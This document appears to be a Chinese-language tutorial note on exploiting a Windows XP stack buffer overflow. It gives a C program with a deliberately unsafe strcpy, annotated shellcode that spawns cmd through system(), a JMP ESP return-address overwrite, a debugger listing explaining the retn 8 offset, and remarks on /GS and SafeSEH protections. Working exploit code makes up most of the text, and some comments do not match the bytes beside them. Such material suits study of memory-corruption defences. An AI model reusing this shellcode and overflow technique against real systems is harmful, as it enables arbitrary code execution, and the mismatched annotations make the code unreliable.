#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
//打开CMD的shellcode
"\x55" //push ebp
"\x8B\xEC" //mov ebp, esp
"\x33\xC0" //xor eax, eax
"\x50" //push eax
"\x50" //push eax
"\x50" //push eax
"\xC6\x45\xF5\x6D" //mov byte ptr[ebp-0Bh], 6Dh
"\xC6\x45\xF6\x73" //mov byte ptr[ebp-0Ah], 73h
"\xC6\x45\xF7\x76" //mov byte ptr[ebp-09h], 76h
"\xC6\x45\xF8\x63" //mov byte ptr[ebp-08h], 63h
"\xC6\x45\xF9\x72" //mov byte ptr[ebp-07h], 72h
"\xC6\x45\xFA\x74" //mov byte ptr[ebp-06h], 74h
"\xC6\x45\xFB\x2E" //mov byte ptr[ebp-05h], 2Eh
"\xC6\x45\xFC\x64" //mov byte ptr[ebp-04h], 64h
"\xC6\x45\xFD\x6C" //mov byte ptr[ebp-03h], 6Ch
"\xC6\x45\xFE\x6C" //mov byte ptr[ebp-02h], 6Ch
"\x8D\x45\xF5" //lea eax, [ebp-0Bh]
"\x50" //push eax
"\xBA\x7B\x1D\x80\x7C" //mov edx, 0x7C801D7Bh LoadLibraryA msvcrt.dll
"\xFF\xD2" //call edx
"\x83\xC4\x0C" //add esp, 0Ch
"\x8B\xEC" //mov ebp, esp
"\x33\xC0" //xor eax, eax
"\x50" //push eax
"\x50" //push eax
"\x50" //push eax
"\xC6\x45\xFC\x63" //mov byte ptr[ebp-04h], 63h
"\xC6\x45\xFD\x6D" //mov byte ptr[ebp-03h], 6Dh
"\xC6\x45\xFE\x64" //mov byte ptr[ebp-02h], 64h
"\x8D\x45\xFC" //lea eax, [ebp-04h]
"\x50" //push eax cmd
"\xB8\xC7\x93\xBF\x77" //mov edx, 0x77BF93C7h
"\xFF\xD0" //call edx
"\x83\xC4\x10" //add esp, 10h
"\x5D" //pop ebp
"\x6A\x00" //push 0
"\xB8\xc7\x93\xbf\x77" //mov eax, 0x7c81cb12
"\xFF\xD0"; //call eax
int fun(char *szIn,int nText)
{
char szBuff[8];
printf("%d\n",nText);
strcpy(szBuff,szIn);
return 0;
}
int main(void)
{
char sz_In[] = "1234567890ab"
/*"\x14\xff\x12\x00"*/
"\x12\x45\xfa\x7f" //通用类型
"\x55" //push ebp
"\x8B\xEC" //mov ebp, esp
"\x33\xC0" //xor eax, eax
"\x50" //push eax
"\x50" //push eax
"\x50" //push eax
"\xC6\x45\xF5\x6D" //mov byte ptr[ebp-0Bh], 6Dh
"\xC6\x45\xF6\x73" //mov byte ptr[ebp-0Ah], 73h
"\xC6\x45\xF7\x76" //mov byte ptr[ebp-09h], 76h
"\xC6\x45\xF8\x63" //mov byte ptr[ebp-08h], 63h
"\xC6\x45\xF9\x72" //mov byte ptr[ebp-07h], 72h
"\xC6\x45\xFA\x74" //mov byte ptr[ebp-06h], 74h
"\xC6\x45\xFB\x2E" //mov byte ptr[ebp-05h], 2Eh
"\xC6\x45\xFC\x64" //mov byte ptr[ebp-04h], 64h
"\xC6\x45\xFD\x6C" //mov byte ptr[ebp-03h], 6Ch
"\xC6\x45\xFE\x6C" //mov byte ptr[ebp-02h], 6Ch
"\x8D\x45\xF5" //lea eax, [ebp-0Bh]
"\x50" //push eax
"\xBA\x7B\x1D\x80\x7C" //mov edx, 0x7C801D7Bh LoadLibraryA msvcrt.dll
"\xFF\xD2" //call edx
"\x83\xC4\x0C" //add esp, 0Ch
"\x8B\xEC" //mov ebp, esp
"\x33\xC0" //xor eax, eax
"\x50" //push eax
"\x50" //push eax
"\x50" //push eax
"\xC6\x45\xFC\x63" //mov byte ptr[ebp-04h], 63h
"\xC6\x45\xFD\x6D" //mov byte ptr[ebp-03h], 6Dh
"\xC6\x45\xFE\x64" //mov byte ptr[ebp-02h], 64h
"\x8D\x45\xFC" //lea eax, [ebp-04h]
"\x50" //push eax cmd
"\xB8\xC7\x93\xBF\x77" //mov edx, 0x77BF93C7h
"\xFF\xD0" //call edx
"\x83\xC4\x10" //add esp, 10h
"\x5D" //pop ebp
"\x6A\x00" //push 0
"\xB8\xc7\x93\xbf\x77" //mov eax, 0x7c81cb12
"\xFF\xD0"; //call eax
fun(sz_In,888);
return 0;
}
因为我们要找的只是返回地址,所以去看一执行完strcpy函数时返回地址是
fun函数为_cdecl ebp+4 就是返回地址
也可以执行到ret处看 ESP对应的值 就是返回地址
如果是WINPAI 也就是 _stdcall调用呢
0040104C |. 51 PUSH ECX ; /src
0040104D |. 8D55 F8 LEA EDX,DWORD PTR SS:[EBP-8] ; |
00401050 |. 52 PUSH EDX ; |dest
00401051 |. E8 8A000000 CALL Shellcod.strcpy ; \strcpy
00401056 |. 83C4 08 ADD ESP,8
00401059 |. 33C0 XOR EAX,EAX
0040105B |. 5F POP EDI
0040105C |. 5E POP ESI
0040105D |. 5B POP EBX
0040105E |. 83C4 48 ADD ESP,48
00401061 |. 3BEC CMP EBP,ESP
00401063 |. E8 E8010000 CALL Shellcod.__chkesp
00401068 |. 8BE5 MOV ESP,EBP
0040106A |. 5D POP EBP
0040106B \. C2 0800 RETN 8
最后是retn 8
ESP ==> > 66656463
ESP+4 > 55696867
ESP+8 > C033EC8B
ESP+C > C6505050
retn 8 带来的效果就是 将 esp弹出 并弹出堆栈8字节:
最后变成这样
ESP ==> > C6505050
ESP+4 > C66DF545
ESP+8 > C673F645
所以 跳过了0xc个字节
我们采用通用 JMP ESP
0x7FFA4512
这个时候的ESP就在原来的8字节后了
修改shellcode为:
char sz_In[] = "1234567890ab"
/*"\x14\xff\x12\x00"*/
"\x12\x45\xfa\x7f" //通用类型
"\x90\x90\x90\x90\x90\x90\x90\x90" //这里就是因为retn 8带来的效果体现 _cdecl 与 _stdCall的区别
"\x55" //push ebp
"\x8B\xEC" //mov ebp, esp
"\x33\xC0" //xor eax, eax
"\x50" //push eax
"\x50" //push eax
"\x50" //push eax
"\xC6\x45\xF5\x6D" //mov byte ptr[ebp-0Bh], 6Dh
"\xC6\x45\xF6\x73" //mov byte ptr[ebp-0Ah], 73h
"\xC6\x45\xF7\x76" //mov byte ptr[ebp-09h], 76h
"\xC6\x45\xF8\x63" //mov byte ptr[ebp-08h], 63h
"\xC6\x45\xF9\x72" //mov byte ptr[ebp-07h], 72h
"\xC6\x45\xFA\x74" //mov byte ptr[ebp-06h], 74h
"\xC6\x45\xFB\x2E" //mov byte ptr[ebp-05h], 2Eh
"\xC6\x45\xFC\x64" //mov byte ptr[ebp-04h], 64h
"\xC6\x45\xFD\x6C" //mov byte ptr[ebp-03h], 6Ch
"\xC6\x45\xFE\x6C" //mov byte ptr[ebp-02h], 6Ch
"\x8D\x45\xF5" //lea eax, [ebp-0Bh]
"\x50" //push eax
"\xBA\x7B\x1D\x80\x7C" //mov edx, 0x7C801D7Bh LoadLibraryA msvcrt.dll
"\xFF\xD2" //call edx
"\x83\xC4\x0C" //add esp, 0Ch
"\x8B\xEC" //mov ebp, esp
"\x33\xC0" //xor eax, eax
"\x50" //push eax
"\x50" //push eax
"\x50" //push eax
"\xC6\x45\xFC\x63" //mov byte ptr[ebp-04h], 63h
"\xC6\x45\xFD\x6D" //mov byte ptr[ebp-03h], 6Dh
"\xC6\x45\xFE\x64" //mov byte ptr[ebp-02h], 64h
"\x8D\x45\xFC" //lea eax, [ebp-04h]
"\x50" //push eax cmd
"\xB8\xC7\x93\xBF\x77" //mov edx, 0x77BF93C7h
"\xFF\xD0" //call edx
"\x83\xC4\x10" //add esp, 10h
"\x5D" //pop ebp
"\x6A\x00" //push 0
"\xB8\xc7\x93\xbf\x77" //mov eax, 0x7c81cb12
"\xFF\xD0"; //call eax
另外PS:
2003 /GS 对COOKIE进行检查 溢出将COOKIE覆盖 就不运行 返回地址 对堆栈溢出有保护功能 只存在2003 和VS.NET上
2003 SEH 检查ESH的处理函数 是否与已注册过函数的地址列表进行对照 没有相匹配的就不进行处理函数的调用
XP2 对PEB指针有随机性 但就在几个值之间随机移动